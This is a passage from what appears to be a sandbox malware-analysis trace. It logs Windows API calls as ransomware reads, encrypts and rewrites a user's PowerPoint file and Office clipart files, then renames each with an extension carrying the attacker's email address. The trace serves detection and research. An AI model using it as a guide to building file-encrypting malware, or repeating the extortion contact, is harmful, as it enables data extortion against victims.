RtlRandomEx (in: Seed=0x1590f780 | out: Seed=0x1590f780) returned 0x459e259a [0059.964] RtlRandomEx (in: Seed=0x1590f780 | out: Seed=0x1590f780) returned 0x644f0545 [0059.964] RtlRandomEx (in: Seed=0x1590f780 | out: Seed=0x1590f780) returned 0x3d989e1a [0059.964] RtlRandomEx (in: Seed=0x1590f780 | out: Seed=0x1590f780) returned 0x46d2ec2 [0059.964] RtlRandomEx (in: Seed=0x1590f780 | out: Seed=0x1590f780) returned 0x5bbde937 [0059.964] RtlRandomEx (in: Seed=0x1590f780 | out: Seed=0x1590f780) returned 0x3e47fd2a [0059.964] RtlRandomEx (in: Seed=0x1590f780 | out: Seed=0x1590f780) returned 0x13e9cbfe [0059.964] RtlRandomEx (in: Seed=0x1590f780 | out: Seed=0x1590f780) returned 0x27bce5ec [0059.964] RtlRandomEx (in: Seed=0x1590f780 | out: Seed=0x1590f780) returned 0x12f6198 [0059.964] RtlRandomEx (in: Seed=0x1590f780 | out: Seed=0x1590f780) returned 0x223ebe62 [0059.964] RtlRandomEx (in: Seed=0x1590f780 | out: Seed=0x1590f780) returned 0xc03ba53 [0059.964] RtlRandomEx (in: Seed=0x1590f780 | out: Seed=0x1590f780) returned 0x6de8fde5 [0059.964] RtlRandomEx (in: Seed=0x1590f780 | out: Seed=0x1590f780) returned 0x5a9e8963 [0059.964] RtlRandomEx (in: Seed=0x1590f780 | out: Seed=0x1590f780) returned 0x7e18f568 [0059.964] RtlRandomEx (in: Seed=0x1590f780 | out: Seed=0x1590f780) returned 0x20606b6d [0059.980] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.980] ReadFile (in: hFile=0x48c, lpBuffer=0x12b50048, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x1590f754, lpOverlapped=0x0 | out: lpBuffer=0x12b50048*, lpNumberOfBytesRead=0x1590f754*=0xc800, lpOverlapped=0x0) returned 1 [0059.981] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.981] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44bd78 [0059.981] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x437e68 [0059.981] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce7d0 [0059.981] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce7d0) returned 1 [0059.982] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x12b5c850 [0059.986] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce7d0 [0059.986] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05020 [0059.986] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d05020) returned 1 [0059.987] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437e68) returned 1 [0059.987] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bd78) returned 1 [0059.987] WriteFile (in: hFile=0x48c, lpBuffer=0x12b5c850*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x1590f754, lpOverlapped=0x0 | out: lpBuffer=0x12b5c850*, lpNumberOfBytesWritten=0x1590f754*=0xc800, lpOverlapped=0x0) returned 1 [0062.573] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12b5c850) returned 1 [0062.899] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12b50048) returned 1 [0062.901] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x21) returned 0x97cee70 [0062.901] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.901] WriteFile (in: hFile=0x48c, lpBuffer=0x19b23008*, nNumberOfBytesToWrite=0x105, lpNumberOfBytesWritten=0x1590f7d4, lpOverlapped=0x0 | out: lpBuffer=0x19b23008*, lpNumberOfBytesWritten=0x1590f7d4*=0x105, lpOverlapped=0x0) returned 1 [0063.412] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19b23008) returned 1 [0063.412] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cede0) returned 1 [0063.412] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec9228) returned 1 [0063.412] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cee70) returned 1 [0063.412] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce7d0) returned 1 [0063.412] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce848) returned 1 [0063.412] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d05048) returned 1 [0063.412] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d05070) returned 1 [0063.412] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xaa) returned 0x45ced0 [0063.412] wcscpy (in: _Dest=0x45ced0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Zwcn6.pptx" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Zwcn6.pptx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Zwcn6.pptx" [0063.412] wcscat (in: _Dest=0x45ced0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Zwcn6.pptx.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Zwcn6.pptx.mailto[2Hamlampampom@cock.li].cd46d" [0063.412] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Zwcn6.pptx.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x1590f78c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Zwcn6.pptx.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0063.412] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc0) returned 0x12f4d780 [0063.414] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12f4d780) returned 1 [0063.414] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x48dfe0) returned 1 [0063.414] NtQueryInformationFile (in: FileHandle=0x48c, IoStatusBlock=0x1590f798, FileInformation=0x1590f770, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1590f798, FileInformation=0x1590f770) returned 0x0 [0063.414] NtSetInformationFile (FileHandle=0x48c, IoStatusBlock=0x1590f798, FileInformation=0x1590f770, Length=0x28, FileInformationClass=0x4) returned 0x0 [0063.415] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45ced0) returned 1 [0063.415] FlushFileBuffers (hFile=0x48c) returned 1 [0066.225] CloseHandle (hObject=0x48c) Thread: id = 1070 os_tid = 0xef0 [0057.782] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif")) returned 0x20 [0060.849] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF", dwFileAttributes=0x20) returned 1 [0060.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x74c [0060.864] GetFileSizeEx (in: hFile=0x74c, lpFileSize=0x15a8fe4c | out: lpFileSize=0x15a8fe4c*=8582) returned 1 [0060.864] SetFilePointerEx (in: hFile=0x74c, liDistanceToMove=0x2182, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.864] ReadFile (in: hFile=0x74c, lpBuffer=0x15a8fdd0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x15a8fdcc, lpOverlapped=0x0 | out: lpBuffer=0x15a8fdd0*, lpNumberOfBytesRead=0x15a8fdcc*=0x4, lpOverlapped=0x0) returned 1 [0060.867] SetFilePointerEx (in: hFile=0x74c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.867] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4367c8 [0060.867] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec89b8 [0060.867] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8a30 [0060.867] NtQuerySystemTime (in: CurrentTime=0x15a8fdac | out: CurrentTime=0x15a8fdac*=132174898248480000) returned 0x0 [0060.867] RtlRandomEx (in: Seed=0x15a8fdb8 | out: Seed=0x15a8fdb8) returned 0x15166733 [0060.867] RtlRandomEx (in: Seed=0x15a8fdb8 | out: Seed=0x15a8fdb8) returned 0x430fbb7b [0060.867] RtlRandomEx (in: Seed=0x15a8fdb8 | out: Seed=0x15a8fdb8) returned 0x62ecbc96 [0060.867] RtlRandomEx (in: Seed=0x15a8fdb8 | out: Seed=0x15a8fdb8) returned 0x26eadbd2 [0060.867] RtlRandomEx (in: Seed=0x15a8fdb8 | out: Seed=0x15a8fdb8) returned 0x305aa0bd [0060.867] RtlRandomEx (in: Seed=0x15a8fdb8 | out: Seed=0x15a8fdb8) returned 0x3d1a4939 [0060.867] RtlRandomEx (in: Seed=0x15a8fdb8 | out: Seed=0x15a8fdb8) returned 0x77d37ba2 [0060.867] RtlRandomEx (in: Seed=0x15a8fdb8 | out: Seed=0x15a8fdb8) returned 0xe223328 [0060.867] RtlRandomEx (in: Seed=0x15a8fdb8 | out: Seed=0x15a8fdb8) returned 0x684ac8c5 [0060.867] RtlRandomEx (in: Seed=0x15a8fdb8 | out: Seed=0x15a8fdb8) returned 0x6bcb3576 [0060.867] RtlRandomEx (in: Seed=0x15a8fdb8 | out: Seed=0x15a8fdb8) returned 0x1bcb550a [0060.868] RtlRandomEx (in: Seed=0x15a8fdb8 | out: Seed=0x15a8fdb8) returned 0x3f895311 [0060.868] RtlRandomEx (in: Seed=0x15a8fdb8 | out: Seed=0x15a8fdb8) returned 0x31e928d3 [0060.868] RtlRandomEx (in: Seed=0x15a8fdb8 | out: Seed=0x15a8fdb8) returned 0x1ae67b43 [0060.868] RtlRandomEx (in: Seed=0x15a8fdb8 | out: Seed=0x15a8fdb8) returned 0x3495de2d [0060.868] RtlRandomEx (in: Seed=0x15a8fdb8 | out: Seed=0x15a8fdb8) returned 0x315fce78 [0060.868] RtlRandomEx (in: Seed=0x15a8fdb8 | out: Seed=0x15a8fdb8) returned 0x4c05801b [0060.868] RtlRandomEx (in: Seed=0x15a8fdb8 | out: Seed=0x15a8fdb8) returned 0x6dfadc16 [0060.868] RtlRandomEx (in: Seed=0x15a8fdb8 | out: Seed=0x15a8fdb8) returned 0x2d1607b8 [0060.868] RtlRandomEx (in: Seed=0x15a8fdb8 | out: Seed=0x15a8fdb8) returned 0x531e29c8 [0060.868] RtlRandomEx (in: Seed=0x15a8fdb8 | out: Seed=0x15a8fdb8) returned 0x426796cb [0060.868] RtlRandomEx (in: Seed=0x15a8fdb8 | out: Seed=0x15a8fdb8) returned 0x330be35f [0060.868] RtlRandomEx (in: Seed=0x15a8fdb8 | out: Seed=0x15a8fdb8) returned 0x36731c37 [0060.868] RtlRandomEx (in: Seed=0x15a8fdb8 | out: Seed=0x15a8fdb8) returned 0x7de63b9e [0060.868] RtlRandomEx (in: Seed=0x15a8fdb8 | out: Seed=0x15a8fdb8) returned 0x1e022c9f [0060.868] RtlRandomEx (in: Seed=0x15a8fdb8 | out: Seed=0x15a8fdb8) returned 0x720bdf2 [0060.868] RtlRandomEx (in: Seed=0x15a8fdb8 | out: Seed=0x15a8fdb8) returned 0x52d11b2 [0060.868] RtlRandomEx (in: Seed=0x15a8fdb8 | out: Seed=0x15a8fdb8) returned 0x3426d9b9 [0060.868] RtlRandomEx (in: Seed=0x15a8fdb8 | out: Seed=0x15a8fdb8) returned 0x2e62fabf [0060.868] RtlRandomEx (in: Seed=0x15a8fdb8 | out: Seed=0x15a8fdb8) returned 0x1810d7dc [0060.868] RtlRandomEx (in: Seed=0x15a8fdb8 | out: Seed=0x15a8fdb8) returned 0x2e6b1728 [0060.868] RtlRandomEx (in: Seed=0x15a8fdb8 | out: Seed=0x15a8fdb8) returned 0x3c785eed [0060.880] ReadFile (in: hFile=0x74c, lpBuffer=0x12dea038, nNumberOfBytesToRead=0x2186, lpNumberOfBytesRead=0x15a8fda8, lpOverlapped=0x0 | out: lpBuffer=0x12dea038*, lpNumberOfBytesRead=0x15a8fda8*=0x2186, lpOverlapped=0x0) returned 1 [0060.881] SetFilePointerEx (in: hFile=0x74c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.881] WriteFile (in: hFile=0x74c, lpBuffer=0x12df6840*, nNumberOfBytesToWrite=0x2186, lpNumberOfBytesWritten=0x15a8fda4, lpOverlapped=0x0 | out: lpBuffer=0x12df6840*, lpNumberOfBytesWritten=0x15a8fda4*=0x2186, lpOverlapped=0x0) returned 1 [0062.361] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8dc8 [0062.362] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8da0 [0062.362] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8da0) returned 1 [0062.362] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12df6840) returned 1 [0062.362] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12dea038) returned 1 [0062.362] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ed5df0) returned 1 [0062.362] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402960) returned 1 [0062.362] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x25) returned 0x97ced50 [0062.362] SetFilePointerEx (in: hFile=0x74c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.362] WriteFile (in: hFile=0x74c, lpBuffer=0x12d7c968*, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0x15a8fe0c, lpOverlapped=0x0 | out: lpBuffer=0x12d7c968*, lpNumberOfBytesWritten=0x15a8fe0c*=0x109, lpOverlapped=0x0) returned 1 [0062.740] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7c968) returned 1 [0062.740] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cec60) returned 1 [0062.740] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8da0) returned 1 [0062.740] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ced50) returned 1 [0062.740] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8dc8) returned 1 [0062.740] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec89b8) returned 1 [0062.740] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8a58) returned 1 [0062.740] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8a80) returned 1 [0062.740] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc8) returned 0x5e00950 [0062.740] wcscpy (in: _Dest=0x5e00950, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" [0062.741] wcscat (in: _Dest=0x5e00950, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF.mailto[2Hamlampampom@cock.li].cd46d" [0062.741] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x15a8fdc4, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0062.741] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xde) returned 0x12cfb170 [0063.354] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12cfb170) returned 1 [0063.354] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x48f570) returned 1 [0063.354] NtQueryInformationFile (in: FileHandle=0x74c, IoStatusBlock=0x15a8fdd0, FileInformation=0x15a8fda8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x15a8fdd0, FileInformation=0x15a8fda8) returned 0x0 [0063.354] NtSetInformationFile (FileHandle=0x74c, IoStatusBlock=0x15a8fdd0, FileInformation=0x15a8fda8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0063.355] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00950) returned 1 [0063.355] FlushFileBuffers (hFile=0x74c) returned 1 [0066.221] CloseHandle (hObject=0x74c) Thread: id = 1071 os_tid = 0xfc8 [0057.783] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18180_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18180_.wmf")) returned 0x20 [0061.659] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18180_.WMF", dwFileAttributes=0x20) returned 1 [0061.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18180_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18180_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1250 [0061.659] GetFileSizeEx (in: hFile=0x1250, lpFileSize=0x42ef81c | out: lpFileSize=0x42ef81c*=2342) returned 1 [0061.659] SetFilePointerEx (in: hFile=0x1250, liDistanceToMove=0x922, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.659] ReadFile (in: hFile=0x1250, lpBuffer=0x42ef7a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x42ef79c, lpOverlapped=0x0 | out: lpBuffer=0x42ef7a0*, lpNumberOfBytesRead=0x42ef79c*=0x4, lpOverlapped=0x0) returned 1 [0061.661] SetFilePointerEx (in: hFile=0x1250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.661] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4291b0 [0061.661] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429070 [0061.661] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4297c8 [0061.661] NtQuerySystemTime (in: CurrentTime=0x42ef77c | out: CurrentTime=0x42ef77c*=132174898256436000) returned 0x0 [0061.661] RtlRandomEx (in: Seed=0x42ef788 | out: Seed=0x42ef788) returned 0x3b7db42a [0061.661] RtlRandomEx (in: Seed=0x42ef788 | out: Seed=0x42ef788) returned 0x2d3ee797 [0061.661] RtlRandomEx (in: Seed=0x42ef788 | out: Seed=0x42ef788) returned 0x4b1809ba [0061.661] RtlRandomEx (in: Seed=0x42ef788 | out: Seed=0x42ef788) returned 0x5e6a190 [0061.661] RtlRandomEx (in: Seed=0x42ef788 | out: Seed=0x42ef788) returned 0x31b88213 [0061.661] RtlRandomEx (in: Seed=0x42ef788 | out: Seed=0x42ef788) returned 0x25cfd274 [0061.661] RtlRandomEx (in: Seed=0x42ef788 | out: Seed=0x42ef788) returned 0x6e8eab31 [0061.661] RtlRandomEx (in: Seed=0x42ef788 | out: Seed=0x42ef788) returned 0x2aa901c0 [0061.661] RtlRandomEx (in: Seed=0x42ef788 | out: Seed=0x42ef788) returned 0x3ef3c806 [0061.661] RtlRandomEx (in: Seed=0x42ef788 | out: Seed=0x42ef788) returned 0x64cc5180 [0061.661] RtlRandomEx (in: Seed=0x42ef788 | out: Seed=0x42ef788) returned 0x74db1f3f [0061.661] RtlRandomEx (in: Seed=0x42ef788 | out: Seed=0x42ef788) returned 0x32707f12 [0061.661] RtlRandomEx (in: Seed=0x42ef788 | out: Seed=0x42ef788) returned 0x127c252d [0061.661] RtlRandomEx (in: Seed=0x42ef788 | out: Seed=0x42ef788) returned 0x3d2fdad3 [0061.661] RtlRandomEx (in: Seed=0x42ef788 | out: Seed=0x42ef788) returned 0x601fd007 [0061.662] RtlRandomEx (in: Seed=0x42ef788 | out: Seed=0x42ef788) returned 0x7a8f0a2c [0061.662] RtlRandomEx (in: Seed=0x42ef788 | out: Seed=0x42ef788) returned 0x28c7e512 [0061.662] RtlRandomEx (in: Seed=0x42ef788 | out: Seed=0x42ef788) returned 0x34bee7a7 [0061.662] RtlRandomEx (in: Seed=0x42ef788 | out: Seed=0x42ef788) returned 0x4eaaa566 [0061.662] RtlRandomEx (in: Seed=0x42ef788 | out: Seed=0x42ef788) returned 0x4c24ac2 [0061.662] RtlRandomEx (in: Seed=0x42ef788 | out: Seed=0x42ef788) returned 0x2c892c33 [0061.662] RtlRandomEx (in: Seed=0x42ef788 | out: Seed=0x42ef788) returned 0x15c8a3a3 [0061.662] RtlRandomEx (in: Seed=0x42ef788 | out: Seed=0x42ef788) returned 0x1b989f70 [0061.662] RtlRandomEx (in: Seed=0x42ef788 | out: Seed=0x42ef788) returned 0x58ba94e [0061.662] RtlRandomEx (in: Seed=0x42ef788 | out: Seed=0x42ef788) returned 0x13b6f592 [0061.662] RtlRandomEx (in: Seed=0x42ef788 | out: Seed=0x42ef788) returned 0x4a96acc8 [0061.662] RtlRandomEx (in: Seed=0x42ef788 | out: Seed=0x42ef788) returned 0x3f41b24d [0061.662] RtlRandomEx (in: Seed=0x42ef788 | out: Seed=0x42ef788) returned 0x32a29ce5 [0061.662] RtlRandomEx (in: Seed=0x42ef788 | out: Seed=0x42ef788) returned 0x2ba2bd96 [0061.662] RtlRandomEx (in: Seed=0x42ef788 | out: Seed=0x42ef788) returned 0x33eaa1a1 [0061.662] RtlRandomEx (in: Seed=0x42ef788 | out: Seed=0x42ef788) returned 0x46cd9306 [0061.662] RtlRandomEx (in: Seed=0x42ef788 | out: Seed=0x42ef788) returned 0x752b72d [0061.674] ReadFile (in: hFile=0x1250, lpBuffer=0x194d0048, nNumberOfBytesToRead=0x926, lpNumberOfBytesRead=0x42ef778, lpOverlapped=0x0 | out: lpBuffer=0x194d0048*, lpNumberOfBytesRead=0x42ef778*=0x926, lpOverlapped=0x0) returned 1 [0061.674] SetFilePointerEx (in: hFile=0x1250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.675] WriteFile (in: hFile=0x1250, lpBuffer=0x5e60870*, nNumberOfBytesToWrite=0x926, lpNumberOfBytesWritten=0x42ef774, lpOverlapped=0x0 | out: lpBuffer=0x5e60870*, lpNumberOfBytesWritten=0x42ef774*=0x926, lpOverlapped=0x0) returned 1 [0061.689] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4291b0 [0061.689] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4297c8 [0061.689] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4297c8) returned 1 [0061.689] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e60870) returned 1 [0061.689] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x194d0048) returned 1 [0061.689] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418f50) returned 1 [0061.689] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402b58) returned 1 [0061.689] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x25) returned 0x97ceb10 [0061.689] SetFilePointerEx (in: hFile=0x1250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.689] WriteFile (in: hFile=0x1250, lpBuffer=0x12d7c968*, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0x42ef7dc, lpOverlapped=0x0 | out: lpBuffer=0x12d7c968*, lpNumberOfBytesWritten=0x42ef7dc*=0x109, lpOverlapped=0x0) returned 1 [0061.691] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7c968) returned 1 [0061.691] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cea80) returned 1 [0061.691] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4297c8) returned 1 [0061.691] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ceb10) returned 1 [0061.691] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4291b0) returned 1 [0061.691] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429070) returned 1 [0061.691] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429138) returned 1 [0061.691] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429318) returned 1 [0061.691] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd6) returned 0x4d40e0 [0061.691] wcscpy (in: _Dest=0x4d40e0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18180_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18180_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18180_.WMF" [0061.691] wcscat (in: _Dest=0x4d40e0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18180_.WMF.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18180_.WMF.mailto[2Hamlampampom@cock.li].cd46d" [0061.691] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18180_.WMF.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x42ef794, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18180_.WMF.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0061.691] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xec) returned 0x4de000 [0061.692] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4de000) returned 1 [0061.693] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d06668) returned 1 [0061.693] NtQueryInformationFile (in: FileHandle=0x1250, IoStatusBlock=0x42ef7a0, FileInformation=0x42ef778, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x42ef7a0, FileInformation=0x42ef778) returned 0x0 [0061.693] NtSetInformationFile (FileHandle=0x1250, IoStatusBlock=0x42ef7a0, 